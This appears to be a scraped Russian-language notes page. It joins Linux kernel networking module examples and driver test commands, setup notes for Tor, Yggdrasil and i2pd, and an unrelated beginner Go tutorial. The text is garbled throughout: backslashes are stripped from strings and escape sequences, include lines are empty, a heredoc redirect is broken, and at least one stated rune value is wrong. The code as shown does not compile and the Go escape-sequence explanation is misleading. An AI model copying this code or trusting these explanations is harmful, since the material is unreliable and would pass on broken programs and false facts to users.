   __constant_htons(ETH_P_ALL),  // may be: __constant_htons(TEST_PROTO_ID),
   false,
   NULL,
   test_pack_rcv,
   (void*)1,
   NULL
};

static int __init my_init(void) {
   dev_add_pack(&test_proto);
   LOG("module %s loadedn", THIS_MODULE->name);
   return 0; 
}

static void __exit my_exit(void) {
   dev_remove_pack(&test_proto);
   LOG("module %s unloadedn", THIS_MODULE->name);
}

/*
struct packet_type {            // 5.4
        __be16                  type;           // This is really htons(ether_type). 
        bool                    ignore_outgoing;
        struct net_device       *dev;      // NULL is wildcarded here        
        int                     (*func) (struct sk_buff *,
                                         struct net_device *,
                                         struct packet_type *,
                                         struct net_device *);
        void                    (*list_func) (struct list_head *,
                                              struct packet_type *,
                                              struct net_device *);
        bool                    (*id_match)(struct packet_type *ptype,
                                            struct sock *sk);
        void                    *af_packet_priv;
        struct list_head        list;
};
*/


/* struct packet_type {
   __be16 type;            // This is really htons(ether_type). 
   struct net_device *dev; // NULL is wildcarded here
   (*func) ( struct sk_buff *, struct net_device *, 
             struct packet_type *, struct net_device * );
   struct sk_buff *(*gso_segment)( struct sk_buff *skb, int features );
   int (*gso_send_check)( struct sk_buff *skb );
   struct sk_buff **(*gro_receive)( struct sk_buff **head, struct sk_buff *skb );
   int (*gro_complete)( struct sk_buff *skb );
   void *af_packet_priv;
   struct list_head list;
}; */

EOF


cat > net_proto2.c << "EOF"
#include "net_common.c"

static int debug = 0;
module_param( debug, int, 0 );

static char* link = NULL;
module_param( link, charp, 0 );

int test_pack_rcv_1( struct sk_buff *skb, struct net_device *dev,
                     struct packet_type *pt, struct net_device *odev ) {
   int s = atomic_read( &skb->users );  
   kfree_skb( skb );
   if( debug > 0 ) LOG( "function #1 - %p => users: %d->%dn", skb, s, atomic_read( &skb->users ) );
   return skb->len;
};

int test_pack_rcv_2( struct sk_buff *skb, struct net_device *dev,
                     struct packet_type *pt, struct net_device *odev ) {
   int s = atomic_read( &skb->users );  
   kfree_skb( skb );
   if( debug > 0 ) LOG( "function #2 - %p => users: %d->%dn", skb, s, atomic_read( &skb->users ) );
   return skb->len;
};

static struct packet_type 
test_proto1 = {
   __constant_htons( ETH_P_IP ),
   NULL,
   test_pack_rcv_1,
   (void*)1,
   NULL
},
test_proto2 = {
   __constant_htons( ETH_P_IP ),
   NULL,
   test_pack_rcv_2,
   (void*)1,
   NULL
};

static int __init my_init( void ) {
   if( link != NULL ) {
      struct net_device *dev = __dev_get_by_name( &init_net, link );
      if( NULL == dev ) { 
         ERR( "%s: illegal link", link );
         return -EINVAL; 
      }
      test_proto1.dev = test_proto2.dev = dev;
   }
   dev_add_pack( &test_proto1 );
   dev_add_pack( &test_proto2 );
   if( NULL == test_proto1.dev ) LOG( "module %s loaded for all linksn", THIS_MODULE->name );
   else LOG( "module %s loaded for link %sn", THIS_MODULE->name, link );
   return 0; 
}

static void __exit my_exit( void ) {
   if( test_proto2.dev != NULL ) dev_put( test_proto2.dev );
   if( test_proto1.dev != NULL ) dev_put( test_proto1.dev );
   dev_remove_pack( &test_proto2 );
   dev_remove_pack( &test_proto1 );
   LOG( "module %s unloadedn", THIS_MODULE->name );
}


/* struct packet_type {
   __be16 type;            // This is really htons(ether_type). 
   struct net_device *dev; // NULL is wildcarded here
   (*func) ( struct sk_buff *, struct net_device *, 
             struct packet_type *, struct net_device * );
   struct sk_buff *(*gso_segment)( struct sk_buff *skb, int features );
   int (*gso_send_check)( struct sk_buff *skb );
   struct sk_buff **(*gro_receive)( struct sk_buff **head, struct sk_buff *skb );
   int (*gro_complete)( struct sk_buff *skb );
   void *af_packet_priv;
   struct list_head list;
}; */

EOF



cat > net_protox.c << "EOF"
#include "net_common.c"

int test_pack_rcv( struct sk_buff *skb, struct net_device *dev,
                   struct packet_type *pt, struct net_device *odev ) {
   LOG( "packet received with length: %un", skb->len );
   kfree_skb( skb );
   return skb->len;
};

#define TEST_PROTO_ID 0x1234
static struct packet_type test_proto = {
//   __constant_htons( TEST_PROTO_ID ),
   __constant_htons( ETH_P_IP ),
   NULL,
   test_pack_rcv,
   (void*)1,
   NULL
};

static int my_open( struct net_device *dev ) {
   LOG( "my_open(%s)n", dev->name );
   /* start up the transmission queue */
   netif_start_queue( dev );
   return 0;
}

static int my_close( struct net_device *dev ) {
   LOG( "my_close(%s)n", dev->name );
   /* shutdown the transmission queue */
   netif_stop_queue( dev );
   return 0;
}

static int stub_start_xmit( struct sk_buff *skb, struct net_device *dev ) {
   dev_kfree_skb( skb );
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = stub_start_xmit,
};

static void __init my_setup( struct net_device *dev ) {
   int j;
   for( j = 0; j < ETH_ALEN; ++j )
      dev->dev_addr[ j ] = (char)j;    // Fill the MAC address
   ether_setup( dev );
   dev->netdev_ops = &ndo;
}

static struct net_device *dev;

static int __init my_init( void ) {
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   dev = alloc_netdev( 0, "xxx%d", my_setup );
#else
   dev = alloc_netdev( 0, "xxx%d", NET_NAME_UNKNOWN, my_setup );
#endif
   if( register_netdev( dev ) ) {
      ERR( "failed to registern" );
      free_netdev( dev );
      return -1;
   }
   test_proto.dev = dev;
   dev_add_pack( &test_proto );
   LOG( "module loadedn" );
   return 0; 
}

static void __exit my_exit( void ) {
   dev_remove_pack( &test_proto );
   unregister_netdev( dev );
   free_netdev( dev );
   LOG( "module unloadedn" );
}

/* struct packet_type {
   __be16 type;            // This is really htons(ether_type)
   struct net_device *dev; // NULL is wildcarded here
   (*func) ( struct sk_buff *, struct net_device *, 
             struct packet_type *, struct net_device * );
   struct sk_buff *(*gso_segment)( struct sk_buff *skb, int features );
   int (*gso_send_check)( struct sk_buff *skb );
   struct sk_buff **(*gro_receive)( struct sk_buff **head, struct sk_buff *skb );
   int (*gro_complete)( struct sk_buff *skb );
   void *af_packet_priv;
   struct list_head list;
}; */

EOF


cat > trn_proto.c < "EOF" 
#include 
#include "net_common.c"

int test_proto_rcv( struct sk_buff *skb ) {
   printk( KERN_INFO "Packet received with length: %un", skb->len );
   return skb->len;
};

/* This is used to register protocols. 
struct net_protocol {
   int  (*handler)( struct sk_buff *skb );
   void (*err_handler)( struct sk_buff *skb, u32 info );
   int  (*gso_send_check)( struct sk_buff *skb );
   struct sk_buff *(*gso_segment)( struct sk_buff *skb,
                                   int features);
   struct sk_buff **(*gro_receive)( struct sk_buff **head,
                                    struct sk_buff *skb );
   int (*gro_complete)( struct sk_buff *skb );
   unsigned int no_policy:1,
                netns_ok:1;
}; */
static struct net_protocol test_proto = {
   .handler = test_proto_rcv,
   .err_handler = 0,
   .no_policy = 0,
};

#define PROTO IPPROTO_ICMP
//#define PROTO IPPROTO_TCP
//#define PROTO IPPROTO_RAW
// #define PROTO IPPROTO_UDP

static int __init my_init( void ) {
   int ret;
   if( ( ret = inet_add_protocol( &test_proto, PROTO ) ) < 0 ) {
      printk( KERN_INFO "proto init: can't add protocoln");
      return ret;
   };
   printk( KERN_INFO "proto module loadedn" );
   return 0; 
}

static void __exit my_exit( void ) {
   inet_del_protocol( &test_proto, PROTO );
   printk( KERN_INFO "proto module unloadedn" );
}


EOF



ЧТДСХ?
insmod net_proto.ko
insmod net_protox.ko
insmod trn_proto.ko 
insmod net_proto2.ko link=p7p1
dmesg | tail -n30 | grep -v ^audit
ls -R /sys/module/trn_proto 
rmmod trn_proto
dmesg | tail -n60 | grep -v ^audit



Очень большое число идентификаторов протоколов содержится в файле 

Методика проверки драйвера на утечку памяти:

Утечка памяти может приводить к краху системы.

0. Запустить команду free и зафиксировать показания
free 

1. На тестируемом узле запустить:

cat > client << "EOF" 
LIMIT=1000000
for ((a=1; a <= LIMIT ; a++))
do
   rm z.txt
   nc localhost 12345 > z.txt
   sleep 1
done

EOF

./client



2. На стороннем доступном узле запустить:

cat > server < "EOF"
dd if=/dev/zero of=z.txt bs=1M count=1

LIMIT=1000000
for ((a=1; a <= LIMIT ; a++))
do
   cat z.txt | nc -l 12345
done

EOF


./server

3. Выждать 10-20 минут
За это время система не должна зависнуть.
А результат команды free  должен быть близок к результату из пункта 0.



Драйвер virt-full


cat > Makefile << "EOF" 
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = virt
obj-m := $(TARGET).o 

all: default clean

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules 

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp* *.mod
        @rm -rf .tmp_versions

disclean: clean
        @rm -f $(TARGET).ko

EOF



cat >  virt.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include  

#define ERR(...) printk( KERN_ERR "! "__VA_ARGS__ )
#define LOG(...) printk( KERN_INFO "! "__VA_ARGS__ )
#define DBG(...) if( debug != 0 ) printk( KERN_INFO "! "__VA_ARGS__ )

static char* link = "eth0";
module_param( link, charp, 0 );

static char* ifname = "virt"; 
module_param( ifname, charp, 0 );

static int debug = 0;
module_param( debug, int, 0 );

static struct net_device *child = NULL;
static struct net_device_stats stats;
static u32 child_ip;

struct priv {
   struct net_device *parent;
};

static char* strIP( u32 addr ) {     // диагностика IP в точечной нотации
   static char saddr[ MAX_ADDR_LEN ];
   sprintf( saddr, "%d.%d.%d.%d",
            ( addr ) & 0xFF, ( addr >> 8 ) & 0xFF,
            ( addr >> 16 ) & 0xFF, ( addr >> 24 ) & 0xFF
          );
   return saddr;
}

static char* strAR_IP( unsigned char addr[ 4 ] ) {
   static char saddr[ MAX_ADDR_LEN ];
   sprintf( saddr, "%d.%0d.%d.%d",
            addr[ 0 ], addr[ 1 ], addr[ 2 ], addr[ 3 ] );
   return saddr;
}

// :
struct arp_eth_body {
   unsigned char  ar_sha[ ETH_ALEN ];     // sender hardware address      
   unsigned char  ar_sip[ 4 ];            // sender IP address            
   unsigned char  ar_tha[ ETH_ALEN ];     // target hardware address      
   unsigned char  ar_tip[ 4 ];            // target IP address            
};

static rx_handler_result_t handle_frame( struct sk_buff **pskb ) {
   struct sk_buff *skb = *pskb;
   if( skb->protocol == htons( ETH_P_IP ) ) {
      struct iphdr *ip = ip_hdr( skb );
      char *addr = strIP( ip->daddr );
      DBG( "rx: IP4 to IP=%s", addr );
      if( ip->daddr != child_ip )
         return RX_HANDLER_PASS; 
   }
   else if( skb->protocol == htons( ETH_P_ARP ) ) {
      struct arphdr *arp = arp_hdr( skb );
      struct arp_eth_body *body = (void*)arp + sizeof( struct arphdr ); 
      int i, ip = child_ip;
      DBG( "rx: ARP for %s", strAR_IP( body->ar_tip ) );
      for( i = 0; i < sizeof( body->ar_tip ); i++ ) {
         if( ( ip & 0xFF ) != body->ar_tip[ i ] ) break;
         ip = ip >> 8;
      }
      if( i < sizeof( body->ar_tip ) )
         return RX_HANDLER_PASS; 
   }
   else           // не ARP и не IP4
      return RX_HANDLER_PASS; 
   stats.rx_packets++;
   stats.rx_bytes += skb->len;
   DBG( "rx: injecting frame from %s to %s", skb->dev->name, child->name );
   skb->dev = child;
   return RX_HANDLER_ANOTHER;
}

static netdev_tx_t start_xmit( struct sk_buff *skb, struct net_device *dev ) {
   struct priv *priv = netdev_priv( dev );
   stats.tx_packets++;
   stats.tx_bytes += skb->len;
   if( priv->parent ) {
      skb->dev = priv->parent;
      skb->priority = 1;
      dev_queue_xmit( skb );
      LOG( "tx: injecting frame from %s to %s", dev->name, skb->dev->name );
      return 0;
   }
   return NETDEV_TX_OK;
}

static int open( struct net_device *dev ) {
   struct in_device *in_dev = dev->ip_ptr;
   struct in_ifaddr *ifa = in_dev->ifa_list;      /* IP ifaddr chain */
   char sdebg[ 40 ] = "";
   LOG( "%s: device opened", dev->name );
   child_ip = ifa->ifa_address;
   sprintf( sdebg, "%s:", strIP( ifa->ifa_address ) );
   strcat( sdebg, strIP( ifa->ifa_mask ) );
   DBG( "%s: %s", dev->name, sdebg );
   netif_start_queue( dev );
   return 0;
}

static int stop( struct net_device *dev ) {
   LOG( "%s: device closed", dev->name );
   netif_stop_queue( dev );
   return 0;
}

static struct net_device_stats *get_stats( struct net_device *dev ) {
   return &stats;
}

static struct net_device_ops crypto_net_device_ops = {
   .ndo_open = open,
   .ndo_stop = stop,
   .ndo_get_stats = get_stats,
   .ndo_start_xmit = start_xmit,
};

static void setup( struct net_device *dev ) {
   int j;
   ether_setup( dev );
   memset( netdev_priv(dev), 0, sizeof( struct priv ) );
   dev->netdev_ops = &crypto_net_device_ops;
   for( j = 0; j < ETH_ALEN; ++j ) // fill in the MAC address with a phoney 
      dev->dev_addr[ j ] = (char)j;
}

int __init init( void ) {
   int err = 0;
   struct priv *priv;
   char ifstr[ 40 ];
   sprintf( ifstr, "%s%s", ifname, "%d" );
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   child = alloc_netdev( sizeof( struct priv ), ifstr, setup );
#else
   child = alloc_netdev( sizeof( struct priv ), ifstr, NET_NAME_UNKNOWN, setup );
#endif
   if( child == NULL ) {
      ERR( "%s: allocate error", THIS_MODULE->name ); return -ENOMEM;
   }
   priv = netdev_priv( child );
   priv->parent = __dev_get_by_name( &init_net, link ); // parent interface  
   if( !priv->parent ) {
      ERR( "%s: no such net: %s", THIS_MODULE->name, link );
      err = -ENODEV; goto err;
   }
   if( priv->parent->type != ARPHRD_ETHER && priv->parent->type != ARPHRD_LOOPBACK ) {
      ERR( "%s: illegal net type", THIS_MODULE->name );
      err = -EINVAL; goto err;
   }
   /* also, and clone its IP, MAC and other information */
   memcpy( child->dev_addr, priv->parent->dev_addr, ETH_ALEN );
   memcpy( child->broadcast, priv->parent->broadcast, ETH_ALEN );
   if( ( err = dev_alloc_name( child, child->name ) ) ) {
      ERR( "%s: allocate name, error %i", THIS_MODULE->name, err );
      err = -EIO; goto err;
   }
   register_netdev( child );
   rtnl_lock();
   netdev_rx_handler_register( priv->parent, &handle_frame, NULL );
   rtnl_unlock();
   LOG( "module %s loaded", THIS_MODULE->name );
   LOG( "%s: create link %s", THIS_MODULE->name, child->name );
   LOG( "%s: registered rx handler for %s", THIS_MODULE->name, priv->parent->name );
   return 0;
err:
   free_netdev( child );
   return err;
}

void __exit virt_exit( void ) {
   struct priv *priv = netdev_priv( child );
   rtnl_lock();
   netdev_rx_handler_unregister( priv->parent );
   rtnl_unlock();
   LOG( "%s: unregister rx handler for %sn", THIS_MODULE->name, priv->parent->name );
   unregister_netdev( child );
   free_netdev( child );
   LOG( "module %s unloaded", THIS_MODULE->name );
}

module_init( init );
module_exit( virt_exit );

MODULE_AUTHOR( "Oleg Tsiliuric" );
MODULE_AUTHOR( "Nikita Dorokhin" );
MODULE_LICENSE( "GPL v2" );
MODULE_VERSION( "4.5" );

EOF


ЧДТ?
make

insmod ./virt.ko link=p7p1 debug=1
dmesg | tail -n3
ifconfig virt0 192.168.50.2
dmesg | tail -n26
tcpdump -i virt0 
dmesg | tail -n19
ping 192.168.50.1
dmesg | tail -n30
rmmod virt
dmesg | tail -n4


ls -l *.ko
make
ls -l
sudo insmod virt.ko
sudo insmod virt.ko link=eno2
lsmod | head -n4
ping -I eno2 -c3 192.168.1.142
dmesg | tail -n8
dmesg | tail -n90
lsmod | head -n4
ip a s
rmmod virt


TOR

Прокси/VPN

TOR (The Omion Router) 
Свободное и открытое программное обеспечение для реализации второго (V2) 
и третьего (V3) поколения так называемой луковой маршрутизации:
ваши данные - это сердцевина луковицы
а их защита это слоя вокруг

ПК <=> входная точка <=> опорная точка <=> выходная точка <=> веб-сайт

Каждый пакет данных, передаваемый системой узлов Tor, через три разных узла, 
которые выбираются случайным образом в начале сеанса и могут  быть изменены по ходу его прохождения.
Перед отправкой пакет последовательно шифруется тремя ключами, сначала третий узел, второй, первый.
Когда первый узел получает пакет, он расшифровывает верхний слой и так далее для остальных узлов.


Установка tor для любых служб
apt show tor
apt install tor
systemctl status tor
pd -A | grep tor
netstat -l -t | grep 9050
curl check-host.net/ip
curl -x socks4://127.0.0.1:9050 check-host.net/ip
whois 8.8.8.8 | grep -i country:




Свой ресурс onion
Для этого нужно отредактировать файл "/etc/tor/torrc"
vim /etc/tor/torrc
------------------
HiddenServiceDir /var/lib/tor/onion.service
HiddenServiceProt 80 127.0.0.1:80
HiddenServicePort 443 127.0.0.1:443
#HiddenServicePort 22 127.0.0.1:22
------------------

После этого в каталоге "/var/lib/tor" у вас появится новый каталог с тем произвольным именем onion.service
Этот каталог будет содержать файлы
hostname - ваше имя onion


ПО:
torsocks wget -q http://asdjasidhiashdojaspokppskjfpajppkspfvvbnbnahj13kldk.onion/file.html
torsocks ssh asdjasidhiashdojaspokppskjfpajppkspfvvbnbnahj13kldk.onion



Mesh-сети

Mesh-сеть - это распределенная одноранговая сеть, основанная на ячеистой топологии.
Каждый узел в такой сети обладает такими же полномочиями, что и все остальные,
груб говоря, все узлы в mesh-сети равны.


Яркий представитель меш сети это Yggdrasil (есть альтернатива Riv-mesh работает по такому же принципу)
Пиринговая - это название ячеистых одноранговых сетей, в которой каждый хост связывается с несколькими известными ему пирами, 
соседями по сети, через которые хост организует свой адаптивный роутинг в сеть.
Yggdrasil - это пиринговая сеть, использующая IPv6-адресацию, весь трафик в которой шифруется несимметричным кодированием( с приватным и публичным ключами)

Проект Yggdrasil использует адреса IPv6 из подсети 0200::/7, который никак не пересекается с IANA(2000::/3)


Где брать:
https://github.com/yggdrasil-network/yggdrasil-go


Установка:
Читать:
https://yggdrasil-network.github.io/installation-linux-deb.html

Ключи для деб:
mkdir -p /usr/local/apt-keys
gpg --fetch-keys https://neilalexander.s3.dualstack.eu-west-2.amazonaws.com/deb/key.txt
gpg --export BC1BF63BD10B8F1A | sudo tee /usr/local/apt-keys/yggdrasil-keyring.gpg > /dev/null
echo 'deb [signed-by=/usr/local/apt-keys/yggdrasil-keyring.gpg] http://neilalexander.s3.dualstack.eu-west-2.amazonaws.com/deb/ debian yggdrasil' | sudo tee /etc/apt/sources.list.d/yggdrasil.list

Ставим:
apt-get install dirmngr
apt-get install yggdrasil
systemctl enable yggdrasil
systemctl start yggdrasil


Конфиг:
/etc/yggdrasil.conf
Тут надо добавить в секцию "Peers {}" пиров с которыми будем взаимодействовать 
пиры смотри тут:
https://github.com/yggdrasil-network/public-peers
проверить этим:
https://github.com/zhoreeq/peer_checker.py


или вот апдейтер:
https://github.com/ygguser/peers_updater
cargo build --release
cd traget/release
./peers_updater -p > peers.txt


После перезапустить:
systemctl restart yggdrasil


Проверка какие пиры использует хост:
yggdrasilctl getPeers

Показать адрес и другую информацию:
yggdrasilctl getSelf



Обнаружена пиров:
MPL(Multicast Peer Discovery) - технология автоматического обнаружения пиров
порт UDP-9001
Для работы в локальной сети нужен настроенный IPv6

Для yggdrasil могут использоваться адреса вида 02XX и 03XX


Трюк:
Если в сети уже установлен клиент Yggdrasil можно сделать маршрутизацию через него для других пк в сети
У вас на ПК с клиентом должен быть включен "IPv6 forward"
Узнаем IPv6 на клиенте ygg например так:
yggdrasilctl getSelf
Например на адресс там:
31d:4cbf:9eaf:2399::/64
На устройстве где у нас Yddgrasil добавим адрес на интерфейс который смотрит в лакалку так:
ip a a  31d:4cbf:9eaf:2399::1/64 dev eth1
включим ip forwarding:
systemctl -w net.ipv6.conf.all.all.forwarding=1

На ПК который мы хотим научить ходить в ygg:
ip a a  31d:4cbf:9eaf:2399::5/64 dev eth1
ip -6 route add 0200::/7 via 31d:4cbf:9eaf:2399::1
ping ygg.linux-ru.lib

l2p

l2p - представляет собой изолированную автономную сеть Даркнет.
https://github.com/PurpleI2P/i2pd


apt isntall libboost-chrono-dev libboost-date-time-dev libboost-filesystem-dev libboost-program-options-dev libboost-system-dev libboost-thread-dev libssk-dev

Сборка:
cd /opt
git clone https://github.com/PurpleI2P/i2pd.git
cd i3pf/build
cmake -DCMAKE_BUILD_TYPE=release
make -j2
make install


Для того что бы все заработало, нужно из каталога сборки скопировать конфиги в домашний каталог пользователя
cp -R contrib/certificates $HOME/.i2pd
cp contrib/i2pd.conf $HOME/.i2pd/
cp contrib/tunnels.conf $HOME/.i2pd/

теперь можно запустить
i2pd

проверяем доступность локальной веб консоли
telnet 127.0.0.1 7070

Локальный хеша адресов можно обнаружить в каталоге "$HOME/.i2pd/addressbook"

Для рганизации тунеля нужно будет настроить файл из .i2pd/tennels.conf
Рубрики
go Конспект

Конспект: GO

Ссылки:

https://go.dev/play/
https://wiki.archlinux.org/title/Go_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
https://github.com/b14esh/c-test/tree/main/02_lesson_golang

Установка golang на linux

0. Установка
# debian  ubuntu
apt update && apt upgrade && apt install golang
# archlinux
pacman -Sy go 

1. Компиляция и запуск файлов
Go — это компилируемый язык. 

Первый способ — через команду "go run". 
Эта команда компилирует исполняемый файл, запускает его и удаляет. 
Этим способом пользуются, когда нужно разово запустить небольшую программу на Go и забыть.

Второй способ — через команду "go build". 
Она выполняет компиляцию и создает исполняемый файл в текущей директории.

go build hello.go # Создаем бинарный файл hello.go
В директории с файлом должен появиться новый файл hello. 
Можно запустить его как обычный исполняемый файл:
./hello

Пример:
go fmt hello-world.go
go build hello-world.go
go run build hello-world.go


Кросс компиляция под разные платформы:
go mod init hello # Создаем Go-модуль
GOOS=windows GOARCH=386 go build -o hello_windows.exe # Исполняемый файл для Windows
GOOS=windows GOARCH=amd64 go build -o hello_windows64.exe # Файл для Windows с архитектурой x64
GOOS=linux GOARCH=amd64 go build -o hello_linux_amd64 # Файл для linux с архитектурой x64
GOOS=linux GOARCH=arm go build -o hello_linux_arm # Файл для Linux на arm
GOOS=darwin GOARCH=arm64 go build -o hello_mac_arm64 # для mac os

Показать переменные go / рабочее пространство

go env

В языке Go поиск программ и их зависимостей (например, import "пакет"), сначала выполняется в каталогах, 
прописанных в переменную $GOPATH, а затем - в переменной $GOROOT (путь установки go, по умолчанию /usr/lib/go).


$GOPATH работает как $PATH и может содержать несколько записей. 
Это может быть полезно для отделения пакетов, скачанных через go get, от вашего кода, например GOPATH=$HOME/go:$HOME/mygo

Создать само рабочее пространство:
$ mkdir -p ~/go/src
каталог ~/go/src предназначен для хранения исходных текстов проектов. 
При компиляции Go также создаст каталог bin для исполняемых файлов и pkg для кэша отдельных пакетов.
Вы можете добавить ~/go/bin в переменную окружения $PATH для запуска установленных Go-программ:

export PATH="$PATH:$HOME/go/bin"

00. Первый пример:

0. Открываем сайт https://go.dev/play/
1. Вводим код
package main
import "fmt"
func main () {
fmt.Println("Hello, Go")
}
3. Жмем format а потом run


4. Объяснение:
Кнопка Format приводит код в порядок, создаются отступы, выставляются пробелы.
Когда вы распространяете свой код, другие разработчики ожидают, что он будет оформлен в стандартном формате Go. 
Это означает стандартное форматирование отступов, пробелов и т. д., чтобы другим людям было проще читать ваш код. 
Если в других языках программирования разработчикам приходилось вручную переформатировать свой код, чтобы он соответствовал стилевому руководству,
в Go достаточно выполнить команду go fmt, которая автоматически сделает все за вас.

package main - Эта строка сообщает, что остальной код относится к пакету "main"
import "fmt" - Означает что мы будем использовать код форматирования из пакета "fmt"

Функция main играет особую роль - именно:
func main () {
 fmt.Println("Hello, Go") - Эта строка выводит сообщение "Hello,Go!" 
}
Для этого она вызывает функцию Println из пакета "fmt"


Пакет представляет собой набор блоков кода, выполняющих похожие операции — например, 
форматирование строк или построение графических, изображений. 
Директива package задает имя пакета, частью которого станет код этого файла. 
В нашем случае используется специальный пакет main; это необходимо для того, 
чтобы код можно было запускать напрямую (чаще всего в терминале).

При запуске программа Go ищет функцию с именем main и выполняет ее в первую очередь,
поэтому-то мы и присвоили своей функции имя main.

Структура типичного файла Go
1. Директива package.         package main
2. Директива import.          import "fmt"
3. Собственно код программы.  function main{}



Каждый файл Go должен начинаться с директивы package
Каждый файл Go должен импортировать все пакеты, которые в нем используются
Файлы Go должны импортировать только те пакеты, которые в них используются. (Это ускоряет компиляцию кода!)
Компилятор Go ищет функцию с именем main, чтобы выполнить ее при запуске программы
В Go учитывается регистр символов. fmt.Println — действительное имя, но имени fmt.println не существует
Функция Println не принадлежит пакету main, поэтому перед вызовом функции необходимо указать имя пакета

01. Вызов функций

В нашем примере вызывается функция Println из пакета fmt.
Чтобы вызвать функцию, введите имя функции (в данном случае Println) и пару круглых скобок.

Как и многие функции, Println может получать один или несколько аргументов — значений, 
с которыми должна работать функция. Аргументы перечисляются в круглых скобках после имени функции

fmt.Println("First argument", "Second argument")

Хотя функции Println и можно передать несколько аргументов, она может вызываться без них. 
Когда мы будем заниматься другими функциями, вы заметите, что они обычно должны получать строго определенное количество аргументов. 
Если аргументов будет слишком мало или слишком много, то вы получите сообщение об ошибке, в котором будет указано ожидаемое количество аргументов. 
В этом случае программу нужно будет исправить.

package main
import "fmt"
func main () {
fmt.Println("First argument", "Second argument")
}

02. Функция Println

При помощи функции Println можно узнать, как идет выполнение программы. 
Все аргументы, переданные этой функции, выводятся в терминале (а их значения разделяются пробелами)
После вывода всех аргументов Println переходит на следующую строку в терминале. 
(Отсюда суффикс «ln» — сокращение от «line» — в конце имени.)

package main

import "fmt"

func main() {
        fmt.Println("One", "Two", "Three")
        fmt.Println("Another line")
        fmt.Println("End")
}

03. Использование функций из других пакетов. / Возвращаемые значения функций.

Весь код нашей первой программы является частью пакета main, но функция Println принадлежит пакету fmt (сокращение от «format»). 
Чтобы в программе можно было вызвать функцию Println, необходимо сначала импортировать пакет, содержащий эту функцию.
// - комментарий

package main
import "fmt" // Пакет fmt необходимо импортировать чтобы вызвать его функции Println
func main() {
fmt.Println("Hello, Go!") // Сообщает что вызываемая функция является частью пакета fmt
}


После того как пакет будет импортирован, вы сможете вызывать функции из этого пакета.
Для этого укажите имя пакета, поставьте точку (.) и введите имя нужной функции.
fmt.Println()
fmt - пакет
.Println() - имя функции


Следующий пример демонстрирует вызов функций из двух других пакетов. 
Так как мы собираемся импортировать несколько пакетов, то переходим на альтернативный формат инструкции, 
который позволяет перечислять в круглых скобках сразу несколько пакетов, по одному имени пакета в строке.

package main
import (
"math"
"strings"
)
func main() {
math.Floor(2.75)
strings.Title("head first go")
}
!!! Программа ничего не выводит! :)

При вызове функции fmt.Println вам не нужно обмениваться с ней дополнительной информацией. 
Вы передаете Println одно или несколько выводимых значений и ожидаете вывод. 
Но иногда программа должна вызвать функцию и получить от нее дополнительные данные. 
Из-за этого в большинстве языков программирования функции имеют возвращаемые значения, 
которые вычисляются функциями и возвращаются на сторону вызова.
Функции math.Floor и strings.Title относятся к числу функций, имеющих возвращаемое значение.
Функция math.Floor получает число с плавающей точкой, округляет его до ближайшего меньшего целого и возвращает полученное число. 
А функция strings.Title получает строку, преобразует первую букву каждого слова к верхнему регистру и возвращает полученную строку.

Чтобы увидеть результаты этих вызовов функций, необходимо взять возвращаемые значения и передать их fmt.Println:
package main

import (
        "fmt"
        "math"
        "strings"
)

func main() {
        fmt.Println(math.Floor(2.75))
        fmt.Println(strings.Title("head first go"))
}

Что делает:
строка: fmt.Println(math.Floor(2.75))
Функция fmt.Println вызывается для возвращаемого значения функции math.Floor.
math.Floor получает число, округляет его в меньшую сторону и возвращает полученное значение.
строка: fmt.Println(strings.Title("head first go"))
Функция fmt.Println вызывается для возвращаемого значения функции strings.Title.
strings.Title получает строку и возвращает новую строку, в которой все слова начинаются с буквы верхнего регистра.
Результат:
2
Head First Go


04. шаблон программы GO


vim test.go
-----------
package main
import "fmt"
func main() {
fmt.Println("hello world")
}
-----------
Проверка:
Производим форматирование скрипта
go fmt test.go
Производим тестовый запуск 
go run test.go
Производим сборку
go build test.go
Проверяем еще раз работоспособность 

05. Строки

В аргументах Println передавались строки. 
Строка представляет собой последовательность байтов, которые обычно представляют символы текста. 
Строки можно определять прямо в программе в виде строковых литералов: 
компилятор Go интерпретирует текст, заключенный в двойные кавычки, как строку

Открывающая двойная кавычка "Hello, Go!" Закрывающая двойная кавычка
Результат: Hello, Go!

Некоторые управляющие символы, которые неудобно вводить с клавиатуры (символы новой строки, табуляции и т. д.), 
внутри строк могут представляться в виде служебных последовательностей: символа «обратный слеш», за которым следует другой символ (или символы).

n Символ новой строки
t Символ табуляции
" Двойная кавычка
 Обратный слеш

Пример 0:
"Hello,nGo!" 
Результат:
Hello,
Go!

Пример 1:
"Hello, tGo!"
Результат:
Hello,    Go!

Пример 2:
""Hello, Go!""
"Hello, Go!"

06. Руны

Если строки обычно используются для представления последовательностей символов, 
то руны в языке Go представляют отдельные символы.
Строковые литералы заключаются в двойные кавычки ("),
а рунные литералы записываются в одиночных кавычках (').

В программах Go могут использоваться практически любые символы любых мировых языков, потому что в Go для хранения рун используется стандарт Юникод. 
Руны хранятся в виде числовых кодов, а не в виде символов; если передать руну функции fmt.Println, то выведется числовой код, а не исходный символ.
В рунных литералах (как и в строковых) можно использовать служебные последовательности для представления символов, которые неудобно вводить с клавиатуры для включения в программу.
'A' - 65
'B' - 66
'Ж' - 1174
't' - 9
'n' - 10 
'' - 92

Пример кода:
package main

import "fmt"

func main() {
        fmt.Println('A', 'B', 'Ж', 't', 'n', '')
}

07. Логические значения

Логические величины принимают всего два возможных значения:
true или false. 
Они особенно удобны в условных командах, в которых выполнение блока кода зависит от того, истинно или ложно некоторое условие. 
Чуть позже разберем...

08. Числа

Числа тоже можно определять прямо в программном коде. 
Это еще проще, чем определять строковые литералы: просто введите нужное число.

Как вы вскоре увидите, в языке Go целые числа и числа с плавающей точкой интерпретируются как разные типы. 
Помните, что целое число можно отличить от числа с плавающей точкой по разделителю дробной части — точке.

Пример:
42 Целое число.
3.1415 Число с плавающей точкой

Пример в коде:
package main
import "fmt"
func main() {
fmt.Println(0, 3.1415)
}

